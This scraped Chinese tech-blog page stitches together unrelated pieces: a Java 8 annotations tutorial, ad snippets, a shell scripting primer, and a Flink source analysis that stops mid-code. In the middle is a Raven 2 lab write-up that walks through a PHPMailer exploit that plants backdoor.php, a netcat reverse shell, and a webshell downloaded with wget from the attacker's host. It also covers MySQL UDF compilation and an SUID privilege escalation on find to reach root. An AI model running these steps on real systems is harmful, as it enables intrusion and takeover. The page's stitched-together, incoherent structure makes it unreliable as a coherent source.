在java 8之前,註解只能是在聲明的地方所使用,java8開始,註解可以應用在任何地方。

例如:

創建類實例

new @Interned MyObject();

類型映射

myString = (@NonNull String) str;

implements 語句中

class UnmodifiableList<T> implements@Readonly List<@Readonly T> { ... }

throw exception聲明

void monitorTemperature() throws@Critical TemperatureException { ... }

注意:

在Java 8裏面,當類型轉化甚至分配新對象的時候,都可以在聲明變量或者參數的時候使用註解。
Java註解可以支持任意類型。

類型註解只是語法而不是語義,並不會影響java的編譯時間,加載時間,以及運行時間,也就是說,編譯成class文件的時候並不包含類型註解。

2)新增ElementType.TYPE_USE 和ElementType.TYPE_PARAMETER(在Target上)

新增的兩個註釋的程序元素類型 ElementType.TYPE_USE 和 ElementType.TYPE_PARAMETER用來描述註解的新場合。

  • ElementType.TYPE_PARAMETER 表示該註解能寫在類型變量的聲明語句中。
  • ElementType.TYPE_USE 表示該註解能寫在使用類型的任何語句中(例如:聲明語句、泛型和強制轉換語句中的類型)。

例如,下面的示例。

@Target({ElementType.TYPE_PARAMETER, ElementType.TYPE_USE})
@interface MyAnnotation {}

3)類型註解的作用

類型註解被用來支持在Java的程序中做強類型檢查。配合第三方插件工具Checker Framework(注:此插件so easy,這裏不介紹了),可以在編譯的時候檢測出runtime error(例如:UnsupportedOperationException; NumberFormatException;NullPointerException異常等都是runtime error),以提高代碼質量。這就是類型註解的作用。

注意:使用Checker Framework可以找到類型註解出現的地方並檢查。

※別再煩惱如何寫文案,掌握八大原則!

什麼是銷售文案服務?A就是幫你撰寫適合的廣告文案。當您需要販售商品、宣傳活動、建立個人品牌,撰寫廣告文案都是必須的工作。

例如下面的代碼。

import checkers.nullness.quals.*;
public class TestDemo{
    void sample() {
        @NonNull Object my = new Object();
    }
}

使用javac編譯上面的類:(當然若下載了Checker Framework插件就不需要這麼麻煩了)

javac -processor checkers.nullness.NullnessChecker TestDemo.java

上面編譯是通過的,但若修改代碼:

@NonNull Object my = null;

但若不想使用類型註解檢測出來錯誤,則不需要processor,正常javac TestDemo.java是可以通過編譯的,但是運行時會報 NullPointerException 異常。

為了能在編譯期間就自動檢查出這類異常,可以通過類型註解結合 Checker Framework 提前排查出來錯誤異常。

注意java 5,6,7版本是不支持註解@NonNull,但checker framework 有個向下兼容的解決方案,就是將類型註解@NonNull 用/**/註釋起來。

import checkers.nullness.quals.*;
public class TestDemo{
    void sample() {
        /*@NonNull*/ Object my = null;
    }
}

這樣javac編譯器就會忽略掉註釋塊,但用checker framework裏面的javac編譯器同樣能夠檢測出@NonNull錯誤。
通過 類型註解 + checker framework 可以在編譯時就找到runtime error。

2.重複註解

允許在同一聲明類型(類,屬性,或方法)上多次使用同一個註解。

Java8以前的版本使用註解有一個限制是相同的註解在同一位置只能使用一次,不能使用多次。

Java 8 引入了重複註解機制,這樣相同的註解可以在同一地方使用多次。重複註解機制本身必須用 @Repeatable 註解。

實際上,重複註解不是一個語言上的改變,只是編譯器層面的改動,技術層面仍然是一樣的。

例如,我們可以使用如下示例來具體對比Java8之前的版本和Java8中的註解。

1)自定義一個包裝類Hints註解用來放置一組具體的Hint註解

@interface MyHints {
    Hint[] value();
}
 
@Repeatable(MyHints.class)
@interface Hint {
    String value();
}

使用包裝類當容器來存多個註解(舊版本方法)

@MyHints({@Hint("hint1"), @Hint("hint2")})
class Person {}

使用多重註解(新方法)

@Hint("hint1")
@Hint("hint2")
class Person {}

2)完整類測試如下所示。

public class RepeatingAnnotations {
    @Target(ElementType.TYPE)
    @Retention(RetentionPolicy.RUNTIME)
    public @interface Filters {
        Filter[] value();
    }
    
    @Target(ElementType.TYPE)
    @Retention(RetentionPolicy.RUNTIME)
    @Repeatable(Filters.class)
    public @interface Filter {
        String value();
    }
    @Filter("filter1")
    @Filter("filter2")
    public interface Filterable {
    }
    public static void main(String[] args) {
        for (Filter filter : Filterable.class.getAnnotationsByType(Filter.class)) {
            System.out.println(filter.value());
        }
    }
}

輸出結果:

filter1
filter2

分析:

註釋Filter被@Repeatable( Filters.class )註釋。Filters 只是一個容器,它持有Filter, 編譯器儘力向程序員隱藏它的存在。通過這樣的方式,Filterable接口可以被Filter註釋兩次。

另外,反射的API提供一個新方法getAnnotationsByType() 來返回重複註釋的類型(注意Filterable.class.getAnnotation( Filters.class )將會返回編譯器注入的Filters實例。

3)java 8之前也有重複使用註解的解決方案,但可讀性不好。

public @interface MyAnnotation {  
     String role();  
}  
 
public @interface Annotations {  
    MyAnnotation[] value();  
}  
 
public class RepeatAnnotationUseOldVersion {  
    @Annotations({@MyAnnotation(role="Admin"),@MyAnnotation(role="Manager")})  
    public void doSomeThing(){  
    }  
}

Java8的實現方式(由另一個註解來存儲重複註解,在使用時候,用存儲註解Authorities來擴展重複註解),可讀性更強。

@Repeatable(Annotations.class) 
public @interface MyAnnotation {  
     String role();  
}  
 
public @interface Annotations {  
    MyAnnotation[] value();  
}  
 
public class RepeatAnnotationUseOldVersion {  
	@MyAnnotation(role="Admin")  
    @MyAnnotation(role="Manager")
    public void doSomeThing(){  
    }  
} 

什麼?沒看懂?那就再來一波!!!

Java8對註解的增強

Java 8對註解處理提供了兩點改進:可重複的註解及可用於類型的註解。總體來說,比較簡單,下面,我們就以實例的形式來說明Java8中的重複註解和類型註解。

首先,我們來定義一個註解類BingheAnnotation,如下所示。

package io.mykit.binghe.java8.annotition;

import java.lang.annotation.*;

/**
 * @author binghe
 * @version 1.0.0
 * @description 定義註解
 */
@Repeatable(BingheAnnotations.class)
@Target({ElementType.TYPE, ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER, ElementType.CONSTRUCTOR, ElementType.LOCAL_VARIABLE,ElementType.TYPE_PARAMETER})
@Retention(RetentionPolicy.RUNTIME)
public @interface BingheAnnotation {
    String value();
}

注意:在BingheAnnotation註解類上比普通的註解多了一個@Repeatable(BingheAnnotations.class)註解,有小夥伴會問:這個是啥啊?這個就是Java8中定義可重複註解的關鍵,至於BingheAnnotations.class,大家別急,繼續往下看就明白了。

接下來,咱們定義一個BingheAnnotations註解類,如下所示。

package io.mykit.binghe.java8.annotation;

import java.lang.annotation.*;

/**
 * @author binghe
 * @version 1.0.0
 * @description 定義註解
 */
@Target({ElementType.TYPE, ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER, ElementType.CONSTRUCTOR, ElementType.LOCAL_VARIABLE,ElementType.TYPE_PARAMETER})
@Retention(RetentionPolicy.RUNTIME)
public @interface BingheAnnotations {
    BingheAnnotation[] value();
}

看到這裏,大家明白了吧!!沒錯,BingheAnnotations也是一個註解類,它相比於BingheAnnotation註解類來說,少了一個@Repeatable(BingheAnnotations.class)註解,也就是說,BingheAnnotations註解類的定義與普通的註解幾乎沒啥區別。值得注意的是,我們在BingheAnnotations註解類中,定義了一個BingheAnnotation註解類的數組,也就是說,在BingheAnnotations註解類中,包含有多個BingheAnnotation註解。所以,在BingheAnnotation註解類上指定@Repeatable(BingheAnnotations.class)來說明可以在類、字段、方法、參數、構造方法、參數上重複使用BingheAnnotation註解。

接下來,我們創建一個Binghe類,在Binghe類中定義一個init()方法,在init方法上,重複使用@BingheAnnotation註解指定相應的數據,如下所示。

package io.mykit.binghe.java8.annotation;

/**
 * @author binghe
 * @version 1.0.0
 * @description 測試註解
 */
@BingheAnnotation("binghe")
@BingheAnnotation("class")
public class Binghe {

    @BingheAnnotation("init")
    @BingheAnnotation("method")
    public void init(){

    }
}

到此,我們就可以測試重複註解了,創建類BingheAnnotationTest,對重複註解進行測試,如下所示。

package io.mykit.binghe.java8.annotation;

import java.lang.reflect.Method;
import java.util.Arrays;

/**
 * @author binghe
 * @version 1.0.0
 * @description 測試註解
 */
public class BingheAnnotationTest {

    public static void main(String[] args) throws NoSuchMethodException {
        Class<Binghe> clazz = Binghe.class;
        BingheAnnotation[] annotations = clazz.getAnnotationsByType(BingheAnnotation.class);
        System.out.println("類上的重複註解如下:");
        Arrays.stream(annotations).forEach((a) -> System.out.print(a.value() + " "));

        System.out.println();
        System.out.println("=============================");

        Method method = clazz.getMethod("init");
        annotations = method.getAnnotationsByType(BingheAnnotation.class);
        System.out.println("方法上的重複註解如下:");
        Arrays.stream(annotations).forEach((a) -> System.out.print(a.value() + " "));
    }
}

運行main()方法,輸出如下的結果信息。

類上的重複註解如下:
binghe class 
=============================
方法上的重複註解如下:
init method 

寫在最後

如果覺得文章對你有點幫助,請微信搜索並關注「 冰河技術 」微信公眾號,跟冰河學習Java8新特性。

最後,附上Java8新特性核心知識圖,祝大家在學習Java8新特性時少走彎路。

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RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

前言

近幾天比較閑,在上周也閑着無聊跑去盒子挖了一周的洞。這周又開始不知道幹些啥了,所以就找個靶機來玩玩。

Raven 2 靶機滲透

搭建完環境后,發現並沒有登錄賬號和密碼,使用御劍高速掃描,先掃描機器的ip和端口,看看有沒有啥能利用到的。

發現了192.168.27.136 ip 並且80端口和22端口是開啟的,首先先從80端口,嘗試 來嘗試掃描目錄。

掃描目錄時,發現了/vendor/目錄並且有個wordpress 這時候就可以來嘗試一下wp的漏洞了,直接上wpscan 來掃描,沒有就放棄。

連接超時!!! 果斷放棄!!!

但是作為一個年輕小伙子怎麼能說放棄,要堅持!!![手動狗頭][手動狗頭]

翻找一下剛剛的目錄看看還能不能找到啥東西,當我點開/vendor/目錄的時候,發現存在一個目錄遍歷漏洞。

點開readme.md 發現是個PHPMailer

由於以前也沒見過,上百度查了一下才知道是個發送电子郵件的函數包。

去百度查找了一下 居然有命令執行漏洞。

為了方便,直接就在kali裏面的漏洞庫去查找exp

searchsploit phpmailer

這裡有好幾個exp,但是也不能一個一個去試,利用條件不一樣,還得去查找的他版本。
在我開啟vendor/version文件的時候,直接就显示了版本

確定版本后就可以直接下載exp了,

searchsploit -m 40974.py

首先查看一下代碼。

這裏的garget 和socket的connect的ip需要修改還有需要修改的是email字典後面的路徑,這個是寫入地址的絕對路徑。

那麼我們還需要查找他的絕對路徑。

http://192.168.27.136/vendor/PATH

文件裏面查找到了路徑,而且拿下了一個flag。

這裏並不打算去拿flag,而是直接拿權限[手動滑稽][手動滑稽]。

現在就可以開始來改我們的exp了

這裏把target改成了

http://192.168.27.136/contact.php
這個漏洞是基於contact.php的頁面產生的漏洞,所以地址得帶上這個頁面。

在運行exp的時候,py爆了個錯誤,說我的編碼有錯誤,我立馬在頭部加了一個utf-8的默認編碼方式,但是依然不行,肯定是這個工具啟動提示的時候,輸出了特殊字符所以才會這樣,把它刪掉就好了[手動滑稽][手動滑稽]。

這裏直接就執行成功,我們去訪問contact.php就會生成一個backdoor.php,訪問后可以直接反彈shell了
kali啟動一個nc監聽

nc -lvp 4444

訪問backdoor.php 反彈成功

nc 模式的shell不支持su交互,使用py進入到偽終端

python -c “import pty;pty.spawn(‘/bin/bash’)”

輸入whoami發現,是個www的權限,權限比較低,還需要進行提權的操作,先來查看一下開放的端口

netstat -ano

發現他的3306端口是開放的,mysql 5.6以下的默認安裝為system權限或者是root權限。這裏嘗試使用udf提權,先來翻找他的mysql密碼,
一般網站需要對數據庫進行查詢操作的話都是需要連接數據庫的,基本上都會去包含數據庫的連接文件,而數據庫連接文件一般命名為config.inc.php,config.php。
這裏就來找一下,進入wordpress目錄看到wp-config.php來查看一下。

翻找到了root賬號的密碼為:

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然後就可以嘗試去udf提權,但是我這嫌nc比較麻煩,所以還是寫入一個一句話木馬。

echo “

寫入的時候發現post被過濾掉了,後來嘗試get和requsts也是一樣。

那麼就直接換個思路,直接讓他去請求遠程的文件進行下載

放在服務器上面的時候,不能一腳本格式進行上傳,不然腳本會直接運行,將他命名為cmd.txt文件,然後搭建臨時web服務

php -S 0.0.0.0:88 -t /root

使用php啟動web服務 設置根目錄為root

wget http://192.168.3.68:88/cmd.txt

請求文件

mv cmd.txt cmd.php
把文件改名為php後綴,然後使用蟻劍進行連接。

連接成功后,使用管理數據功能,進行mysql連接,查詢mysql版本信息。

這裏還有幾個注意事項,在mysql 4.1版本前任何的dll文件的函數都能導入到mysql裏面去讓mysql調用,
mysql 4.1-5.0 版本中,對註冊的dll位置做了限制,創建函數時候對應的dll不能包含斜杠或者反斜杠,
不能是絕對路徑,所以會將dll導出到systm32目錄下,去繞過這個限制。
在mysql5.1版本后,創建函數的dll只能放在mysql的plugin目錄下,也就是插件目錄

使用mysql語句來查看plugin目錄位置

show variables like ‘%plugin%’;

現在我們還得下載一個linux版本的udf

searchsploit udf

searchsploit -m 1518.c

從漏洞庫把udf下載下來后,是個c文件還得使用gcc進行編譯后才能使用

gcc -g -c 1518.c

gcc -g -shared -o udf.so 1518.o -lc

編譯完成后,使用wget遠程下載

wget http://192.168.3.68:88/udf.so

數據庫創建表:

create table nice(line blob);

表中插入udf.so的數據

insert into nice values(load_file(‘/var/www/html/udf.so’));

插入完成后,再使用sql語句從nice表中導出數據到plugin目錄下

select * from nice into dumpfile ‘/usr/lib/mysql/plugin/udf.so’;

導出完成后,這裏就可以直接創建一個函數,來進行執行命令了

create function do_system returns integer soname ‘udf.so’;

創建完成后可以查詢是否創建成功

select * from mysql.func;

select do_system(‘chmod u+s /usr/bin/find’);

touch finn

find finn -exec “/bin/sh” ;

whoami

提權成功。

cat flag4.txt

[手動狗頭][手動狗頭]flag真香

結尾

最近這感冒了,很難受,幹啥都沒精力,我想我還是需要妹子來溫暖我的心

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shell script的簡單使用_網頁設計

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shell script的簡單介紹

shell變量

1.命名規則

  • 命名只能使用英文字母,数字和下劃線,首個字符不能以数字開頭
  • 中間不能有空格,可以使用下劃線(_)
  • 不能使用標點符號。
  • 不能使用bash里的關鍵字

2.定義變量:name=value
3.使用變量:$name
4.只讀變量:readonly name
5.刪除變量:uset name
6.變量類型

  • 局部變量:當前shell有效
  • 環境變量:所有的應用程序有效

shell字符串

  1. 雙引號:可解析變量,可以出現轉義字符
  2. 單引號:不解析變量,原樣輸出
  3. 字符串拼接:
name="hello"
# 使用雙引號拼接
greeting="hello, "$name" !"
greeting_1="hello, $name} !"
echo $greeting  $greeting_1
# 使用單引號拼接
greeting_2='hello, '$name' !'
greeting_3='hello, ${name} !'
echo $greeting_2  $greeting_3

輸出結果為:

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hello, hello ! hello, hello} !
hello, hello ! hello, ${name} !
  1. 獲取字符串長度
string="abcd"
echo ${#string} #輸出 4
  1. 提取子字符串
string="hello world"
echo ${string:1:4}#輸出 ello
# 字符串下標從0開始
  1. 查找子字符串
string="hello world"
echo `expr index $string e`#輸出2

7.反引號和$()一樣,裏面的語句當作命令執行

shell數組

  1. 數組定義:arrname=(value0 value1 value3)
  2. 數組讀取:${arrname[]},中括號內為數組下標,從0開始
  3. 獲取數組長度:length=${#arrname[@]},*號也可以
  4. 或許數組單個元素的長度:lengthn=${#arrname[n]},n為數組下標

shell註釋

  1. 單行註釋:#
  2. 多行註釋:<<EOF以EOF結束,EOF可以是任意字母

shell傳遞參數

  1. 向腳本傳參
  • $0:執行的文件名
  • $1:為第一個參數
  • $2:為第二個參數 以此類推
  1. 特殊參數
  • $#:傳遞到腳本的參數個數
  • $$:腳本運行的當前進程ID
  • $!:後台運行的最後一個進程ID
  • $?:回傳碼,显示最後命令的退出狀態
  • $@,$*:显示所有傳遞的參數

shell運算符

  1. 算數運算符

假設變量a=10,b=20

運算符 說明 舉例
+ 加法 expr $a + $b 結果為 30。
– 減法 expr $a - $b 結果為 -10。
* 乘法 expr $a \* $b 結果為 200。
/ 除法 expr $b / $a 結果為 2。
% 取余 expr $b % $a 結果為 0。
= 賦值 a=$b 將把變量 b 的值賦給 a。
== 相等 用於比較兩個数字,相同則返回 true。 [ $a == $b ] 返回 false。
!= 不相等 用於比較兩個数字,不相同則返回 true。 [ $a != $b ] 返回 true。
  1. 關係運算符
運算符 說明 舉例
-eq 檢測兩個數是否相等,相等返回 true。 [ $a -eq $b ] 返回 false。
-ne 檢測兩個數是否不相等,不相等返回 true。 [ $a -ne $b ] 返回 true。
-gt 檢測左邊的數是否大於右邊的,如果是,則返回 true。 [ $a -gt $b ] 返回 false。
-lt 檢測左邊的數是否小於右邊的,如果是,則返回 true。 [ $a -lt $b ] 返回 true。
-ge 檢測左邊的數是否大於等於右邊的,如果是,則返回 true。 [ $a -ge $b ] 返回 false。
-le 檢測左邊的數是否小於等於右邊的,如果是,則返回 true。 [ $a -le $b ] 返回 true。
  1. 邏輯運算符
運算符 說明 舉例
&& 邏輯的 AND [[ $a -lt 100 && $b -gt 100 ]] 返回 false
|| 邏輯的 OR [[ $a -lt 100 || $b -gt 100 ]] 返回 true
  1. 布爾運算符
運算符 說明 舉例
! 非運算,表達式為 true 則返回 false,否則返回 true。 [ ! false ] 返回 true。
-o 或運算,有一個表達式為 true 則返回 true。 [ $a -lt 20 -o $b -gt 100 ] 返回 true。
-a 與運算,兩個表達式都為 true 才返回 true。 [ $a -lt 20 -a $b -gt 100 ] 返回 false
  1. 字符串運算符
    假設變量a=hello,b=world
運算符 說明 舉例
= 檢測兩個字符串是否相等,相等返回 true。 [ $a = $b ] 返回 false。
!= 檢測兩個字符串是否相等,不相等返回 true。 [ $a != $b ] 返回 true。
-z 檢測字符串長度是否為0,為0返回 true。 [ -z $a ] 返回 false。
-n 檢測字符串長度是否不為 0,不為 0 返回 true。 [ -n “$a” ] 返回 true。
$ 檢測字符串是否為空,不為空返回 true。 [ $a ] 返回 true
  1. 文件測試運算符
操作符 說明 舉例
-b file 檢測文件是否是塊設備文件,如果是,則返回 true。 [ -b $file ] 返回 false。
-c file 檢測文件是否是字符設備文件,如果是,則返回 true。 [ -c $file ] 返回 false。
-d file 檢測文件是否是目錄,如果是,則返回 true。 [ -d $file ] 返回 false。
-f file 檢測文件是否是普通文件(既不是目錄,也不是設備文件),如果是,則返回 true。 [ -f $file ] 返回 true。
-g file 檢測文件是否設置了 SGID 位,如果是,則返回 true。 [ -g $file ] 返回 false。
-k file 檢測文件是否設置了粘着位(Sticky Bit),如果是,則返回 true。 [ -k $file ] 返回 false。
-p file 檢測文件是否是有管道,如果是,則返回 true。 [ -p $file ] 返回 false。
-u file 檢測文件是否設置了 SUID 位,如果是,則返回 true。 [ -u $file ] 返回 false。
-r file 檢測文件是否可讀,如果是,則返回 true。 [ -r $file ] 返回 true。
-w file 檢測文件是否可寫,如果是,則返回 true。 [ -w $file ] 返回 true。
-x file 檢測文件是否可執行,如果是,則返回 true。 [ -x $file ] 返回 true。
-s file 檢測文件是否為空(文件大小是否大於0),不為空返回 true。 [ -s $file ] 返回 true。
-e file 檢測文件(包括目錄)是否存在,如果是,則返回 true。 [ -e $file ] 返回 true

流程控制

  1. if 語句語法格式:
if condition
then
    command1 
    command2
    ...
    commandN 
fi
  1. if else 語法格式:
if condition
then
    command1 
    command2
    ...
    commandN
else
    command
fi
  1. if else-if else 語法格式:
if condition1
then
    command1
elif condition2 
then 
    command2
else
    commandN
fi

for循環一般格式為:

for var in item1 item2 ... itemN
do
    command1
    command2
    ...
    commandN
done
  1. while 循環一般格式
while condition
do
    command
done
  1. until 循環一般格式
until condition
do
    command
done
  1. case in格式
case 值 in
模式1)
    command1
    command2
    ...
    commandN
    ;;
模式2)
    command1
    command2
    ...
    commandN
    ;;
esac
  1. 跳出循環:
  • break跳出所有循環
  • continue跳出當前循環

函數定義

輸入輸出重定向

  1. 文件描述符
  • 標準輸入 0
  • 標準輸出 1
  • 標準錯誤輸出 2
  1. stdin<file 標準輸入重定向
  2. stdout>file 標準輸出重定向
  3. stderr>>file 標準錯誤輸出重定向,以追加的方式

shell文件包含

  1. .filename
  2. source filename

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[源碼解析]為什麼mapPartition比map更高效

目錄

  • [源碼解析]為什麼mapPartition比map更高效
    • 0x00 摘要
    • 0x01 map vs mapPartition
      • 1.1 map
      • 1.2 mapPartition
      • 1.3 異同
    • 0x02 代碼
    • 0x03 Flink的傳輸機制
      • 3.1 傳輸機制概述
      • 3.2 遠程通信
      • 3.3 TaskManager進程內傳輸
      • 3.4 源碼分析
    • 0x04 runtime
      • 4.1 Driver
      • 4.2 MapDriver
      • 4.3 MapPartitionDriver
      • 4.4 效率區別
    • 0x05 優化和ChainedMapDriver
    • 0x06 總結
    • 0x07 參考

0x00 摘要

自從函數式編程和響應式編程逐漸進入到程序員的生活之後,map函數作為其中一個重要算子也為大家所熟知,無論是前端web開發,手機開發還是後端服務器開發,都很難逃過它的手心。而在大數據領域中又往往可以見到另外一個算子mapPartition的身影。在性能調優中,經常會被建議盡量用 mappartition 操作去替代 map 操作。本文將從Flink源碼和示例入手,為大家解析為什麼mapPartition比map更高效。

0x01 map vs mapPartition

1.1 map

Map的作用是將數據流上每個元素轉換為另外的元素,比如data.map { x => x.toInt }。它把數組流中的每一個值,使用所提供的函數執行一遍,一一對應。得到與元素個數相同的數組流。然後返回這個新數據流。

1.2 mapPartition

MapPartition的作用是單個函數調用并行分區,比如data.mapPartition { in => in map { (_, 1) } }。該函數將分區作為“迭代器”,可以產生任意數量的結果。每個分區中的元素數量取決於并行度和以前的operations。

1.3 異同

其實,兩者完成的業務操作是一樣的,本質上都是將數據流上每個元素轉換為另外的元素。

區別主要在兩點。

從邏輯實現來講,

  • map邏輯實現簡單,就是在函數中簡單一一轉換,map函數的輸入和輸入都是單個元素。
  • mapPartition相對複雜,函數的輸入有兩個,一般格式為 void mapPartition(Iterable<T> values, Collector<O> out) 。其中values是需要映射轉換的所有記錄,out是用來發送結果的collector。具體返回什麼,如何操作out來返回結果,則完全依賴於業務邏輯。

從調用次數來說,

  • 數據有多少個元素,map就會被調用多少次。
  • 數據有多少分區,mapPartition就會被調用多少次。

為什麼MapPartition有這麼高效呢,下面我們將具體論證。

0x02 代碼

首先我們給出示例代碼,從下文中我們可以看出,map就是簡單的轉換,而mapPartition則不但要做轉換,程序員還需要手動操作如何返回結果:

public class IteratePi {

    public static void main(String[] args) throws Exception {
        final ExecutionEnvironment env=ExecutionEnvironment.getExecutionEnvironment();
        //迭代次數
        int iterativeNum=10;
        DataSet<Integer> wordList = env.fromElements(1, 2, 3);
      
        IterativeDataSet<Integer> iterativeDataSet=wordList.iterate(iterativeNum);
        DataSet<Integer> mapResult=iterativeDataSet
          			.map(new MapFunction<Integer, Integer>() {
            @Override
            public Integer map(Integer value) throws Exception {
                value += 1;
                return value;
            }
        });
        //迭代結束的條件
        DataSet<Integer> result=iterativeDataSet.closeWith(mapResult);
        result.print();

        MapPartitionOperator<Integer, Integer> mapPartitionResult = iterativeDataSet
                .mapPartition(new MapPartitionFunction<Integer, Integer>() {
            @Override
            public void mapPartition(Iterable<Integer> values, Collector<Integer> out) {
                for (Integer value : values) {
                    // 這裏需要程序員自行決定如何返回,即調用collect操作。
                    out.collect(value + 2);
                }
            }                                                                                                                           					}
        );
        //迭代結束的條件
        DataSet<Integer> partitionResult=iterativeDataSet.closeWith(mapPartitionResult);
        partitionResult.print();
    }
}

0x03 Flink的傳輸機制

世界上很少有沒有來由的愛,也少見免費的午餐。mapPartition之所以高效,其所依賴的基礎就是Flink的傳輸機制。所以我們下面就講解下為什麼。

大家都知道,Spark是用微批處理來模擬流處理,就是說,spark還是一批一批的傳輸和處理數據,所以我們就能理解mapPartition的機制就是基於這一批數據做統一處理。這樣確實可以高效。

但是Flink號稱是純流,即Flink是每來一個輸入record,就進行一次業務處理,然後返回給下游算子。

有的兄弟就會產生疑問:每次都只是處理單個記錄,怎麼能夠讓mapPartition做到批次處理呢。其實這就是Flink的微妙之處:即Flink確實是每次都處理一個輸入record,但是在上下游傳輸時候,Flink還是把records累積起來做批量傳輸的。也可以這麼理解:從傳輸的角度講,Flink是微批處理的。

3.1 傳輸機制概述

Flink 的網絡棧是組成 flink-runtime 模塊的核心組件之一,也是 Flink 作業的核心部分。所有來自 TaskManager 的工作單元(子任務)都通過它來互相連接。流式傳輸數據流都要經過網絡棧,所以它對 Flink 作業的性能表現(包括吞吐量和延遲指標)至關重要。與通過 Akka 使用 RPC 的 TaskManager 和 JobManager 之間的協調通道相比,TaskManager 之間的網絡棧依賴的是更底層的,基於 Netty 的 API。

3.2 遠程通信

一個運行的application的tasks在持續交換數據。TaskManager負責做數據傳輸。不同任務之間的每個(遠程)網絡連接將在 Flink 的網絡棧中獲得自己的 TCP 通道。但是如果同一任務的不同子任務被安排到了同一個 TaskManager,則它們與同一個 TaskManager 的網絡連接將被多路復用,並共享一個 TCP 信道以減少資源佔用。

每個TaskManager有一組網絡緩衝池(默認每個buffer是32KB),用於發送與接受數據。如發送端和接收端位於不同的TaskManager進程中,則它們需要通過操作系統的網絡棧進行交流。流應用需要以管道的模式進行數據交換,也就是說,每對TaskManager會維持一個永久的TCP連接用於做數據交換。在shuffle連接模式下(多個sender與多個receiver),每個sender task需要向每個receiver task發送數據,此時TaskManager需要為每個receiver task都分配一個緩衝區。

一個記錄被創建並傳遞之後(例如通過 Collector.collect()),它會被遞交到RecordWriter,其將來自 Java 對象的記錄序列化為一個字節序列,後者最終成為網絡緩存。RecordWriter 首先使用SpanningRecordSerializer將記錄序列化為一個靈活的堆上字節數組。然後它嘗試將這些字節寫入目標網絡通道的關聯網絡緩存。

因為如果逐個發送會降低每個記錄的開銷並帶來更高的吞吐量,所以為了取得高吞吐量,TaskManager的網絡組件首先從緩衝buffer中收集records,然後再發送。也就是說,records並不是一個接一個的發送,而是先放入緩衝,然後再以batch的形式發送。這個技術可以高效使用網絡資源,並達到高吞吐。類似於網絡或磁盤 I/O 協議中使用的緩衝技術。

接收方網絡棧(netty)將接收到的緩存寫入適當的輸入通道。最後(流式)任務的線程從這些隊列中讀取並嘗試在RecordReader的幫助下,通過Deserializer將積累的數據反序列化為 Java 對象。

3.3 TaskManager進程內傳輸

若sender與receiver任務都運行在同一個TaskManager進程,則sender任務會將發送的條目做序列化,並存入一個字節緩衝。然後將緩衝放入一個隊列,直到隊列被填滿。

Receiver任務從隊列中獲取緩衝,並反序列化輸入的條目。所以,在同一個TaskManager內,任務之間的數據傳輸並不經過網絡交互。

即在同一個TaskManager進程內,也是批量傳輸。

3.4 源碼分析

我們基於Flink優化的結果進行分析驗證,看看Flink是不是把記錄寫入到buffer中,這種情況下運行的是CountingCollector和ChainedMapDriver。

copyFromSerializerToTargetChannel:153, RecordWriter (org.apache.flink.runtime.io.network.api.writer)
emit:116, RecordWriter (org.apache.flink.runtime.io.network.api.writer)
emit:60, ChannelSelectorRecordWriter (org.apache.flink.runtime.io.network.api.writer)
collect:65, OutputCollector (org.apache.flink.runtime.operators.shipping)
collect:35, CountingCollector (org.apache.flink.runtime.operators.util.metrics)
collect:79, ChainedMapDriver (org.apache.flink.runtime.operators.chaining)
collect:35, CountingCollector (org.apache.flink.runtime.operators.util.metrics)
invoke:196, DataSourceTask (org.apache.flink.runtime.operators)
doRun:707, Task (org.apache.flink.runtime.taskmanager)
run:532, Task (org.apache.flink.runtime.taskmanager)
run:748, Thread (java.lang)

當執行完用戶定義的map函數之後,系統運行在 ChainedMapDriver.collect 函數。

※智慧手機時代的來臨,RWD網頁設計為架站首選

網動結合了許多網際網路業界的菁英共同研發簡單易操作的架站工具,及時性的更新,為客戶創造出更多的網路商機。

public void collect(IT record) {
    this.outputCollector.collect(this.mapper.map(record));// mapper就是用戶代碼
}

然後調用到了CountingCollector.collect

public void collect(OUT record) {
		this.collector.collect(record);// record就是用戶轉換后的記錄
}

OutputCollector.collect函數會把記錄發送給所有的writers。

this.delegate.setInstance(record);// 先把record設置到SerializationDelegate中
for (RecordWriter<SerializationDelegate<T>> writer : writers) {  // 所有的writer
   writer.emit(this.delegate); // 發送record
}

RecordWriter負責把數據序列化,然後寫入到緩存中。它有兩個實現類:

  • BroadcastRecordWriter: 維護了多個下游channel,發送數據到下游所有的channel中。
  • ChannelSelectorRecordWriter: 通過channelSelector對象判斷數據需要發往下游的哪個channel。我們用的正是這個RecordWriter。

這裏我們分析下ChannelSelectorRecordWriter的emit方法:

public void emit(T record) throws IOException, InterruptedException {
   emit(record, channelSelector.selectChannel(record));
}

這裏使用了channelSelector.selectChannel方法。該方法為record尋找到對應下游channel id。

public class OutputEmitter<T> implements ChannelSelector<SerializationDelegate<T>> {
	public final int selectChannel(SerializationDelegate<T> record) {
		switch (strategy) {
		case FORWARD:
			return forward(); // 我們代碼用到了這種情況。這裏 return 0;
    ......
		}
	}
}

接下來我們又回到了父類RecordWriter.emit。

protected void emit(T record, int targetChannel) throws IOException, InterruptedException {
   serializer.serializeRecord(record);
   // Make sure we don't hold onto the large intermediate serialization buffer for too long
   if (copyFromSerializerToTargetChannel(targetChannel)) {
      serializer.prune();
   }
}

關鍵的邏輯在於copyFromSerializerToTargetChannel。此方法從序列化器中複製數據到目標channel,我們可以看出來,每條記錄都是寫入到buffer中。

protected boolean copyFromSerializerToTargetChannel(int targetChannel) throws IOException, InterruptedException {
   // We should reset the initial position of the intermediate serialization buffer before
   // copying, so the serialization results can be copied to multiple target buffers.
   // 此處Serializer為SpanningRecordSerializer
   // reset方法將serializer內部的databuffer position重置為0
   serializer.reset();

   boolean pruneTriggered = false;
    // 獲取目標channel的bufferBuilder
    // bufferBuilder內維護了MemorySegment,即內存片段
    // Flink的內存管理依賴MemorySegment,可實現堆內堆外內存的管理
    // RecordWriter內有一個bufferBuilder數組,長度和下游channel數目相同
    // 該數組以channel ID為下標,存儲和channel對應的bufferBuilder
    // 如果對應channel的bufferBuilder尚未創建,調用requestNewBufferBuilder申請一個新的bufferBuilder  
   BufferBuilder bufferBuilder = getBufferBuilder(targetChannel);
    // 複製serializer的數據到bufferBuilder中
   SerializationResult result = serializer.copyToBufferBuilder(bufferBuilder);
    // 循環直到result完全被寫入到buffer
    // 一條數據可能會被寫入到多個緩存中
    // 如果緩存不夠用,會申請新的緩存
    // 數據完全寫入完畢之時,當前正在操作的緩存是沒有寫滿的
    // 因此返回true,表明需要壓縮該buffer的空間  
